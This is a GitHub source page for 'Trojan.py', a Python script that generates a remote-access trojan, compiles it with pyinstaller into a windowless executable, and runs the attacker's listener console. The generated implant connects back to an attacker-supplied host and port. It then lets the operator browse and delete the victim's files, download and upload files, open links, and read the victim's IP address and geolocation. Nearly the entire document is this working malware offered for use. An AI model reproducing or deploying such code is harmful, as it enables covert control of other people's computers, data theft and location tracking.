-
Notifications
You must be signed in to change notification settings - Fork 0
/
Trojan.py
374 lines (301 loc) · 10.9 KB
/
Trojan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
import socket
import os
import sys
import time
print("""
_____ _ ____
|_ _| __ ___ (_) __ _ _ __ | _ \ _____ _____ _ __
| || '__/ _ \| |/ _` | '_ \ | |_) / _ \ \ /\ / / _ \ '__|
| || | | (_) | | (_| | | | | | __/ (_) \ V V / __/ |
|_||_| \___// |\__,_|_| |_| |_| \___/ \_/\_/ \___|_|
|__/
""")
print("""
________________________________________________________________________________
This Program was made by a MYANMAR Hacker called Swam Htet Aung(Mr.Everywhere)
--------------------------------------------------------------------------------
""")
print("This program need pyinstaller!")
print("If you don't have pyinstaller please install pyinstaller first!!!!")
hostl = input("[+]Enter Host ")
portl = int(input("[+]Enter Port "))
fn = input("[+]Enter File Name To Create: ")
ft = (".py") # file type
fn = fn + ft
# folder fisrt
os.mkdir(fn)
os.chdir(fn)
# file creating
f = open(fn, "w+")
f.write(f"""
hostvar = "{hostl}"
portvar = int("{portl}")
""") # adding var
# virus file
f.write("""
import socket
import os
import sys
import platform
import time
from random import random
import shutil
import geocoder
from requests import get
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creating socket
host = hostvar
port = portvar
s.connect((host, port))
while True:
command1 = s.recv(999999)
command = command1.decode('utf-8')
if command[:2] == 'cd':
dirtoch = command[3:]
if os.path.isdir(dirtoch):
os.chdir(dirtoch)
s.send(bytes(os.getcwd(), 'utf-8'))
else:
s.send(bytes('Dir not found [cd command unable]', 'utf-8'))
elif command == 'pwd':
s.send(bytes(os.getcwd(), 'utf-8'))
elif command[:5] == 'mkdir':
os.mkdir(command[6:])
elif command == 'text.':
message1 = s.recv(99999)
message = message1.decode('utf-8')
file_name_msg = s.recv(10000)
file_name_msg = file_name_msg.decode('utf-8')
f_type = '.txt'
final_name = file_name_msg + f_type
f = open(final_name, "w+")
f.write(message)
f.close()
elif command == 'show dir':
show_dir = os.listdir()
show_dir = str(show_dir)
s.send(show_dir.encode('utf-8'))
elif command[:15] == 'show custom dir':
custom_dir = command[16:]
show_dir = os.listdir(custom_dir)
show_dir = str(show_dir)
s.send(show_dir.encode('utf-8'))
elif command == 'system platform':
sys_plat = sys.platform
ps = platform.system()
sys_plat = str(sys_plat)
s.send(sys_plat.encode('utf-8'))
time.sleep(1)
s.send(ps.encode('utf-8'))
elif command[:4] == 'link':
linktoopen = command[5:]
os.system(f'start iexplore.exe "{linktoopen}"')
elif command[:8] == 'download':
filename = command[9:]
if os.path.isdir(filename) or os.path.isfile(filename):
filepath = os.getcwd()
final = filepath + '/' + filename
file = open(final, "rb")
data = file.read()
s.send(data)
else:
messagenull = 'null'
s.send(messagenull.encode())
elif command == 'send':
recv_file = s.recv(100000)
name = s.recv(1024)
f = open(name, 'wb')
f.write(recv_file)
f.close()
elif command[:4] == 'rm -f':
filetodel = command[5:]
if os.path.isdir(filetodel):
os.remove(filetodel)
msg1 = 'File Successfully delete!'
s.send(msg1.encode('utf-8'))
else:
msg = f"No File Name {filetodel} [!]"
s.send(msg.encode('utf-8'))
elif command[:5] == 'rm -f':
delete_f = command[6:]
if os.path.isfile(delete_f):
os.remove(delete_f)
msg = 'File Delete Successfully!'
s.send(msg.encode('utf-8'))
else:
msg = 'File Not Found!'
s.send(msg.encode('utf-8'))
elif command[:5] == 'rm -d':
delete_d = command[6:]
if os.path.isdir(delete_d):
shutil.rmtree(delete_d)
msg = 'Dir Delete Successfully!'
s.send(msg.encode('utf-8'))
else:
msg = 'Dir Not Found!'
s.send(msg.encode('utf-8'))
elif command == 'location':
myhost = socket.gethostname()
p_ip = get('https://api.ipify.org').text
mylocation = geocoder.ip(p_ip)
ml = mylocation.latlng
mylocation = str(mylocation)
ml = str(ml)
s.send(f"Location: {mylocation}".encode('utf-8'))
time.sleep(1)
s.send(f"Lat and Lng location: {ml}".encode('utf-8'))
elif command == 'get ip':
host_name = socket.gethostname()
hostip = socket.gethostbyname(host_name)
p_ip = get('https://api.ipify.org').text
s.send(bytes(f"Host Name: {host_name}", "utf-8"))
time.sleep(1)
s.send(bytes(f"Host Ip: {hostip}", "utf-8"))
time.sleep(1)
s.send(bytes(f"Public Ip: {p_ip}", "utf-8"))
""")
# end of virus file
#####################################################################################
f.close()
os.system(f"pyinstaller --onefile -w {fn}")
###### console #######
print("----------------------------------------------------------------------")
# starting
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creating socket
host = hostl
port = portl
# bind and socket connection
s.bind((host, port))
s.listen(5)
print("Server is waiting for connection......")
while True:
server, adr = s.accept()
print(f'Client {adr} is Connected!')
# start hacking
user = ''
while user != 'exit':
user = input(str("Command>"))
if user == 'help':
print("""
get ip : Get ip of client device and host name.
cd <dir> : Change dir.
pwd : Show current dir location.
mkdir <name> : Make dir.
text. : Make a simple text file with you custom message in it on cient device.
show dir : Show dir and files in current dir.
show custom dir <dir>: Show dir and files from custom dir.
clear : Clear your terminal.
system platform : Show system platform of client device.
link <url> : Open a link in client device.
download <file/dir> : To download files or dir Note: only for now dir.
send <file> : Send file or dir to target device.
send -p <path> : Send file or dir to target device from other dir. Example: send -p location_of_file/hack.py
rm -f <file> : delete a file.
rm -d <dir> : delete a folder or dir.
""")
time.sleep(1)
if user == 'clear':
if sys.platform in ["linux", "linux2"]:
os.system('clear')
time.sleep(1)
else:
os.system('cls')
time.sleep(1)
elif user == 'get ip':
server.send(bytes('get ip', 'utf-8'))
print("Processing[+]")
host_name = server.recv(9999)
time.sleep(1)
ip_client = server.recv(1024)
time.sleep(1)
p_ip = server.recv(1024)
print(host_name.decode('utf-8'))
time.sleep(1)
print(ip_client.decode('utf-8'))
time.sleep(1)
print(p_ip.decode('utf-8'))
elif user[:2] == 'cd':
server.send(user.encode())
result = server.recv(9999)
print(result.decode('utf-8'))
time.sleep(1)
elif user == 'pwd':
server.send(user.encode())
result = server.recv(9999)
print(result.decode('utf-8'))
time.sleep(1)
elif user[:5] == 'mkdir':
server.send(user.encode())
time.sleep(1)
elif user == 'text.':
server.send(user.encode())
message = input('Type a message: ')
server.send(message.encode())
name_file = input('Enter File Name to save that message as txt file: ')
server.send(name_file.encode())
time.sleep(1)
elif user == 'show dir':
server.send(user.encode())
result = server.recv(9999)
print(result.decode('utf-8'))
time.sleep(1)
elif user[:15] == 'show custom dir':
server.send(user.encode())
result = server.recv(9999)
print(result.decode('utf-8'))
time.sleep(1)
elif user == 'system platform':
server.send(user.encode())
time.sleep(1)
result = server.recv(9999)
result2 = server.recv(9999) # another
print(result.decode())
time.sleep(1)
print(result2.decode())
time.sleep(1)
elif user == 'location':
print("Processing[+]")
server.send(user.encode())
msg = server.recv(1024)
time.sleep(1)
msg2 = server.recv(1024)
time.sleep(1)
print(msg.decode('utf-8'))
time.sleep(1)
print(msg2.decode('utf-8'))
elif user[:4] == 'link':
server.send(user.encode())
time.sleep(1)
elif user[:8] == 'download':
server.send(user.encode())
recv_file = server.recv(100000)
decoderecv = recv_file.decode()
if decoderecv == 'null':
print('File or Dir not found! [Unable to download]')
else:
filename = input('Please Enter a File Name to save file: ')
print('File downloading..')
newfile = open(filename, "wb")
newfile.write(recv_file)
newfile.close()
print('file download successfully!')
time.sleep(1)
elif user[:4] == 'send':
filee = user[5:]
if os.path.isdir(filee) or os.path.isfile(filee):
server.send(bytes('send', 'utf-8'))
f = open(filee, "rb")
data = f.read()
server.send(data)
name = input("Enter file name to save(on client device note: Enter name with a file type): ")
server.send(name.encode('utf-8'))
print('File send successfully!')
else:
print("File or dir not found! [send command ubable]")
elif user[:5] == "rm -f":
server.send(user.encode('utf-8'))
rst = server.recv(1024)
print(rst.decode('utf-8'))
elif user[:5] == "rm -d":
server.send(user.encode('utf-8'))
rst = server.recv(1024)
print(rst.decode('utf-8'))